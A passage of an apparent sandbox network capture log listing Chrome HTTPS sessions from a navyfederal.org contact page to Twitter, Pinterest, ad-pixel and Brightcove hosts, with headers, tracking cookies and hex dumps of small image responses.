2024-05-24 22:46:43 UTC	728	OUT	GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=533c2d5e-d8da-4126-a3e5-0eb7139f2ccd&mt=&bd=&cb=1716590803274 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: 83d29b272de26cd0509af40cbf8308a2 Date: Fri, 24 May 2024 22:46:43 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:44 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.6	50543	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	887	OUT	GET /i/adsct?bci=5&eci=2&event_id=4bedbdd9-a18b-4da1-bc9d-77514471ffd6&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:44 UTC	400	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:43 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: ddbc97e5143785e4 strict-transport-security: max-age=631138519 x-response-time: 6 x-connection-hash: c56c3d09fedf0a759055d57135252548cc987efab2c59f9b5f51681ee4dff270 connection: close
2024-05-24 22:46:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.6	50545	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	750	OUT	GET /i/adsct?bci=5&eci=2&event_id=4bedbdd9-a18b-4da1-bc9d-77514471ffd6&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:44 UTC	392	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:43 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 1cea876adfe25de8 strict-transport-security: max-age=0 x-response-time: 5 x-connection-hash: 9c682038c362b9fc30d76609d9dce914c498ff2bba670449aec6139dee9ef91a connection: close
2024-05-24 22:46:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.6	50544	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	685	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=5faf904f-3cc2-42e1-80ea-038b2d1a4c98&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:44 UTC	392	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:43 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 4c16477716838534 strict-transport-security: max-age=0 x-response-time: 6 x-connection-hash: f58f2f7ceec95f16a64d8f0b19a526c0a70e6b0169cfba33fb9d334f96ed1692 connection: close
2024-05-24 22:46:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.6	50547	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	822	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=5faf904f-3cc2-42e1-80ea-038b2d1a4c98&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:44 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:43 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 94a71b9ec5478c80 strict-transport-security: max-age=631138519 x-response-time: 75 x-connection-hash: 716618c09c0cf552c274da00f8f73db3841442132e8ec46dabc6c91bc5d4c551 connection: close
2024-05-24 22:46:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.6	50546	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	822	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=25e4b724-6d5f-4933-a100-c8e78bf75229&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:44 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:43 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: cc7831b5b71fbec6 strict-transport-security: max-age=631138519 x-response-time: 76 x-connection-hash: 6874a9cc7b38026a7b3348961b49c49b50b56a2a8994d405c0618885d5a3a5f0 connection: close
2024-05-24 22:46:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.6	50534	18.239.69.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	723	OUT	GET /v1/static/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/f6a719e0-cb0d-4498-bad5-7b0c2e2cac1c/636x348/match/image.jpg HTTP/1.1 Host: cf-images.us-east-1.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	527	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Date: Fri, 24 May 2024 22:46:44 GMT Expires: Sat, 24 May 2025 22:46:44 GMT Last-Modified: Fri, 01 Jan 2016 00:00:00 GMT X-Powered-By: BC X-Powered-From: gantry X-Cache: Miss from cloudfront Via: 1.1 dc216c6741e47caf45c9d347f1061c8e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: J7mXdc7OduVRCfDh7QcMbAS2gjhWhGwoXIOtmiZzHV2xR8NU6qz_fg==
2024-05-24 22:46:44 UTC	3786	IN	Data Raw: 65 63 33 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 01 5c 02 7c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 01 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 05 01 03 04 06 07 02 08 ff c4 00 53 10 00 01 03 03 00 04 05 0c 0e 08 04 06 03 01 00 00 00 01 02 03 04 05 11 06 12 21 31 13 41 51 71 d1 14 15 22 32 34 52 Data Ascii: ec3JFIFC $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222\\|"S!1AQq"24R
2024-05-24 22:46:44 UTC	14081	IN	Data Raw: 33 36 66 39 0d 0a 83 cb 1b f4 6a 18 d8 f6 ab d8 e7 eb 35 17 6b 72 e5 c6 49 6e b3 5b 3a b3 aa fa 8a 9f aa 33 9e 13 51 33 9e 5e 72 fd 35 15 25 12 3f a9 69 a2 85 5e b9 77 06 c4 6e 57 c3 83 89 54 8b 8b 4a fb ee 75 18 34 d3 7e 88 8d fa 6e ef dd 3f 32 d5 6b db 45 a5 90 d5 55 61 20 7c 1a 8c 7b b7 35 d9 f4 7f 72 7f 80 83 aa 3a a3 83 67 0d ab ab af 8d b8 e4 c9 59 e0 86 a6 25 8e 78 db 23 17 7a 39 32 87 9d 2c 34 9c 5a 4f 7b dd 1b 55 64 9a ba da d6 35 eb f5 4c 15 ef a3 a4 a5 73 65 a9 59 da f4 56 2e 75 11 37 ae 50 8f b9 4f a1 3a 56 ca 88 ab ea 69 52 7a 55 74 6e 92 47 70 32 b3 1c 68 ab 85 54 f3 a1 b5 d3 5b e8 e8 95 56 9a 9e 38 d5 77 ab 5b b5 4c 0b 86 8b d8 ae d5 3c 3d 75 ae 9a 79 b8 de e6 6d 5e 75 4d fe 52 fc 34 1c 27 29 cd ee ed c7 e8 a6 bc 94 e0 a1 15 b2 ef f6 73 17 Data Ascii: 36f9j5krIn[:3Q3^r5%?i^wnWTJu4~n?2kEUa \|{5r:gY%x#z92,4ZO{Ud5LseYV.u7PO:ViRzUtnGp2hT[V8w[L<=uym^uMR4')s
2024-05-24 22:46:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.6	50553	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	605	OUT	GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZQNkg3Y3F3dFN2dEZ1RWZTRVZEcllBYVB0SUl6Z2N4K3AwSWtGWnpsU2llczZrLyt6dGJYakdYWEFaTEl1ajFPbWEyK2hnR05BWkJFQ2w4M1FtdDVicXYyd25aZ2tDRlBKbzZuemY0WnlDZz0malhwL01pTDI5ZlBBQXVJVzhKT3pIZkNpbGJZPQ=="
2024-05-24 22:46:44 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:44 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSYvL2MvTDA1UURtaU91bkxubU9Oa09IaGQ4L2k1Z1k0SWx5L1U0dnQvZ21aeCsvYkdkN0I5RGZzV2JDSTVXSWpMblJkWTVUODNlTjE3VFFCZGoweVBWOGRSb0tRaGI3SGNpWEVQRGUrazVwND0mT1d5Si90OS96YmpqRUtsZHFSRktBSTdrK2VVPQ=="; Expires=Sat, 24 May 2025 22:46:44 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 1 referrer-policy: origin x-pinterest-rid: 1693971596657485 Date: Fri, 24 May 2024 22:46:44 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: 5c8bfc366c53ef4acca5f606987646193351b3ab
2024-05-24 22:46:44 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.6	50552	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	620	OUT	GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZQNkg3Y3F3dFN2dEZ1RWZTRVZEcllBYVB0SUl6Z2N4K3AwSWtGWnpsU2llczZrLyt6dGJYakdYWEFaTEl1ajFPbWEyK2hnR05BWkJFQ2w4M1FtdDVicXYyd25aZ2tDRlBKbzZuemY0WnlDZz0malhwL01pTDI5ZlBBQXVJVzhKT3pIZkNpbGJZPQ=="
2024-05-24 22:46:44 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:44 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZWcnZIRzB5SUdTL3dKZGhyZGx0OGViQ3BpeGh2ZkZ3ZkhGYnJQbmZjRnBpKzF1Mmw0VlplemNRUzd6WVE1bW1MV29HRG12cHNZNjhZMmFFZmhYVUZFRGhDK1U1M2xhSXJyKzNRV04rcU13QT0mZVU2Q1NjdW9taUtWOFNjYmJQL2tBMmozZTdzPQ=="; Expires=Sat, 24 May 2025 22:46:44 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 0 referrer-policy: origin x-pinterest-rid: 1460064830994405 Date: Fri, 24 May 2024 22:46:44 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: b5901f219bb3b9de79ce62fb7d9d7ff8817dc3ff
2024-05-24 22:46:44 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.6	50548	151.101.2.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	402	OUT	GET /playback/v1/accounts/5289441629001/videos/5368522558001 HTTP/1.1 Host: edge.api.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	967	IN	HTTP/1.1 401 Unauthorized Connection: close Content-Length: 110 Server: Varnish Retry-After: 0 PK: MISSING Content-Type: application/json Accept-Ranges: bytes Date: Fri, 24 May 2024 22:46:44 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890055-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716590804.078474,VS0,VE0 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: cache-control,content-type,powered-by,powered-from,via,x-cache,x-cache-hits,x-served-by,x-timer,bcov-debug-cache-stats,bcov-instance,x-amz-cf-id,Policy-Key-Geo-Countries,Policy-Key-Geo-Exclude-Countries,Policy-Key-IP-Whitelist,Account-Status,Policy-Key-Raw,Policy-Key-Domains,Policy-Key-Require-Ad-Config,Policy-Key-AccountID,BCOV-Request-ID,BCOV-Error-Code,soapaction Access-Control-Allow-Headers: content-type,accept,accept-language,content-language,bcov-policy,soapaction Access-Control-Allow-Methods: HEAD,GET,OPTIONS Cache-Control: max-age=0, no-cache, no-store
2024-05-24 22:46:44 UTC	110	IN	Data Raw: 5b 0a 20 20 7b 0a 20 20 20 20 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 20 22 49 4e 56 41 4c 49 44 5f 50 4f 4c 49 43 59 5f 4b 45 59 22 2c 0a 20 20 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 52 65 71 75 65 73 74 20 70 6f 6c 69 63 79 20 6b 65 79 20 69 73 20 6d 69 73 73 69 6e 67 20 6f 72 20 69 6e 76 61 6c 69 64 22 0a 20 20 7d 0a 5d 0a Data Ascii: [ { "error_code": "INVALID_POLICY_KEY", "message": "Request policy key is missing or invalid" }]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.6	50550	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	685	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=25e4b724-6d5f-4933-a100-c8e78bf75229&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:44 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:43 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: cbcb5b36ac3b65fe strict-transport-security: max-age=0 x-response-time: 82 x-connection-hash: c88894d9d033cb607afcf4fcf20ce18cac958ea366d1fb3e493b328e1a8897b2 connection: close
2024-05-24 22:46:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.6	50551	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	750	OUT	GET /i/adsct?bci=5&eci=2&event_id=8fad9e17-f0ed-4f21-a9c5-07970eb80917&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:44 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:43 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: e0bbc9708b09bce0 strict-transport-security: max-age=0 x-response-time: 72 x-connection-hash: 9246d9adbaccd6937f5240c751bd68ec6fed41087d8ac3072e887753a858c40e connection: close
2024-05-24 22:46:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.6	50554	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	887	OUT	GET /i/adsct?bci=5&eci=2&event_id=8fad9e17-f0ed-4f21-a9c5-07970eb80917&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:44 UTC	400	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:43 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 55823733947e6e7a strict-transport-security: max-age=631138519 x-response-time: 6 x-connection-hash: 30d0ed84f5bb12b2a36d7fdda3b6d28043712cc383259deda9965270c1deb7cb connection: close
2024-05-24 22:46:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.6	50555	107.21.124.38	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
